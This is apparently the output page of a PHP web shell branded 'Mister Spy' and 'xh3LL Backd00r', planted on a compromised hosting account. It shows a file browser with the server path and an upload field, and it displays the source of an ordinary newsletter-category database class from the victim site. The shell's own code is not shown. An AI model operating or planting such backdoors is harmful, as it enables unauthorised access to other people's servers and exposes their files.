Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/library/
Upload File :
Current File : /home/caballoscriollos/public_html/web/library/class.newsletterrubros.php

<?php 

require_once('class.dbaccess.php');
require_once('class.newsletterrubro.php');
require_once('class.filter.php');
require_once('class.page.php');

class NewsletterRubros extends DBAccess
{
	public function GetAll(Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblNewsletterRubros";
		$sql.= " ORDER BY Descripcion";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";
					
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oNewsletterRubro = new NewsletterRubro();
			$oNewsletterRubro->ParseFromArray($oRow);
			
			array_push($arr, $oNewsletterRubro);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}
	

	public function GetById($IdRubro)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblNewsletterRubros";
		$sql.= " WHERE IdRubro = " . DB::Number($IdRubro);	

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oNewsletterRubro = new NewsletterRubro();
		$oNewsletterRubro->ParseFromArray($oRow);
		
		return $oNewsletterRubro;
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat